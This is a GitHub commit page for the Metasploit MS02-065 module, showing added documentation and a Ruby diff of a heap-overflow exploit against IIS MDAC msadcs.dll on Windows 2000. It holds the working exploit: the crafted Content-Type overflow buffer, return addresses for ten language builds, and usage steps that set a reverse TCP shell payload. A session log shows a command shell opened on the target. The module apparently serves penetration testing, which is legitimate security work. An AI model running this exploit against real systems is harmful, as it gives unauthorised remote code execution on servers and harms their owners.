Skip to content

Commit

Permalink
ms02_065_msadc: Cleanup and add additional offsets
Browse files Browse the repository at this point in the history
  • Loading branch information
@bcoles
bcoles committed Jul 14, 2022
1 parent 20fb1e5 commit 59685f8
Show file tree
Hide file tree
Showing 2 changed files with 146 additions and 53 deletions.
90 changes: 90 additions & 0 deletions documentation/modules/exploit/windows/iis/ms02_065_msadc.md
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
## Vulnerable Application

This module can be used to execute arbitrary code on IIS servers
that expose the /msadc/msadcs.dll Microsoft Data Access Components
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
exploitable even when RDS is configured to deny remote connections
(handsafe.reg). The service is vulnerable to a heap overflow where
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.

This module has been tested successfully on:

* Windows 2000 Pro SP0-SP3 (English)
* Windows 2000 Pro SP0 (Korean)
* Windows 2000 Pro SP0 (Dutch)
* Windows 2000 Pro SP0 (Finnish)
* Windows 2000 Pro SP0 (Turkish)
* Windows 2000 Pro SP0-SP1 (Greek)
* Windows 2000 Pro SP1 (Arabic)
* Windows 2000 Pro SP1 (Czech)
* Windows 2000 Pro SP2 (French)
* Windows 2000 Pro SP2 (Portuguese)

## Verification Steps

1. `use exploit/windows/iis/ms02_065_msadc`
1. `set RHOSTS [IP]`
1. `show targets` to see the possible targets
1. `set TARGET [TARGET]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`

## Options

### TARGETURI

The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`)

## Scenarios

### Windows 2000 Professional SP3 (EN)

```
msf6 > use exploit/windows/iis/ms02_065_msadc
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
rhosts => 192.168.200.186
msf6 exploit(windows/iis/ms02_065_msadc) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 2000 Pro SP0-SP3 (English)
1 Windows 2000 Pro SP0 (Korean)
2 Windows 2000 Pro SP0 (Dutch)
3 Windows 2000 Pro SP0 (Finnish)
4 Windows 2000 Pro SP0 (Turkish)
5 Windows 2000 Pro SP0-SP1 (Greek)
6 Windows 2000 Pro SP1 (Arabic)
7 Windows 2000 Pro SP1 (Czech)
8 Windows 2000 Pro SP2 (French)
9 Windows 2000 Pro SP2 (Portuguese)
msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
target => 0
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms02_065_msadc) > check
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
msf6 exploit(windows/iis/ms02_065_msadc) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.186
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400
Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----
C:\WINNT\system32>ver
ver
Microsoft Windows 2000 [Version 5.00.2195]
```
109 changes: 56 additions & 53 deletions modules/exploits/windows/iis/ms02_065_msadc.rb
View file
Original file line number Diff line number Diff line change
Expand Up @@ -8,89 +8,92 @@ class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize
def initialize(info = {})
super(
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
'Description' => %q{
update_info(
info,
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
'Description' => %q{
This module can be used to execute arbitrary code on IIS servers
that expose the /msadc/msadcs.dll Microsoft Data Access Components
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
exploitable even when RDS is configured to deny remote connections
(handsafe.reg). The service is vulnerable to a heap overflow where
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
},
'Author' => 'aushack',
'Platform' => 'win',
'References' =>
[
},
'Author' => 'aushack',
'Platform' => 'win',
'Arch' => [ARCH_X86],
'References' => [
['OSVDB', '14502'],
['BID', '6214'],
['CVE', '2002-1142'],
['MSB', 'MS02-065'],
['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&",
'StackAdjustment' => -3500,
'Privileged' => false,
'Payload' => {
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x27:?<>=$\\/;=+%#&", # "\u0000\t\n\v\r \"':?<>=$\\/;=+%#&"
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp',
'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully
},
'Targets' =>
[
# aushack tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
[ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll
'Targets' => [
# jmp eax ws2help.dll
[ 'Windows 2000 Pro SP0-SP3 (English)', { 'Ret' => 0x75023783 } ],
[ 'Windows 2000 Pro SP0 (Korean)', { 'Ret' => 0x74f93783 } ],
[ 'Windows 2000 Pro SP0 (Dutch)', { 'Ret' => 0x74fd3783 } ],
[ 'Windows 2000 Pro SP0 (Finnish)', { 'Ret' => 0x74ff3783 } ],
[ 'Windows 2000 Pro SP0 (Turkish)', { 'Ret' => 0x74fc3783 } ],
[ 'Windows 2000 Pro SP0-SP1 (Greek)', { 'Ret' => 0x74f73783 } ],
[ 'Windows 2000 Pro SP1 (Arabic)', { 'Ret' => 0x74f93783 } ],
[ 'Windows 2000 Pro SP1 (Czech)', { 'Ret' => 0x74fc3783 } ],
[ 'Windows 2000 Pro SP2 (French)', { 'Ret' => 0x74fa3783 } ],
[ 'Windows 2000 Pro SP2 (Portuguese)', { 'Ret' => 0x74fd3783 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 20 2002'
'DefaultTarget' => 0,
'DisclosureDate' => '2002-11-02',
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
])
register_options([
OptString.new('TARGETURI', [ true, 'The path to msadcs.dll', '/msadc/msadcs.dll' ], aliases: [ 'PATH' ]),
])
end

def check
res = send_request_raw({
'uri' => normalize_uri(datastore['PATH']),
'method' => 'GET',
})
if (res and res.code == 200)
print_status("Server responded with HTTP #{res.code} OK")
if (res.body =~ /Content-Type: application\/x-varg/)
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
Exploit::CheckCode::Detected
end
else
Exploit::CheckCode::Safe
res = send_request_cgi('uri' => normalize_uri(target_uri.path))

return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown('HTTP server error') if res.code == 500
return CheckCode::Safe('Access Forbidden') if res.code == 403

if res.code == 200 && res.body.to_s.include?('Content-Type: application/x-varg')
return CheckCode::Detected("#{target_uri.path} content type matches fingerprint application/x-varg")
end

CheckCode::Safe
end

def exploit
sploit = rand_text_alphanumeric(136)
sploit[24,2] = Rex::Arch::X86.jmp_short(117)
sploit[24, 2] = Rex::Arch::X86.jmp_short(117)
sploit << [target['Ret']].pack('V')
sploit << payload.encoded

data = 'Content-Type: ' + sploit

res = send_request_raw({
'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'),
'headers' =>
{
'Content-Length' => data.length,
},

'method' => 'POST',
'data' => data,
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/AdvancedDataFactory.Query'),
'method' => 'POST',
'data' => "Content-Type: #{sploit}"
})

handler
end
end

0 comments on commit 59685f8

Please sign in to comment.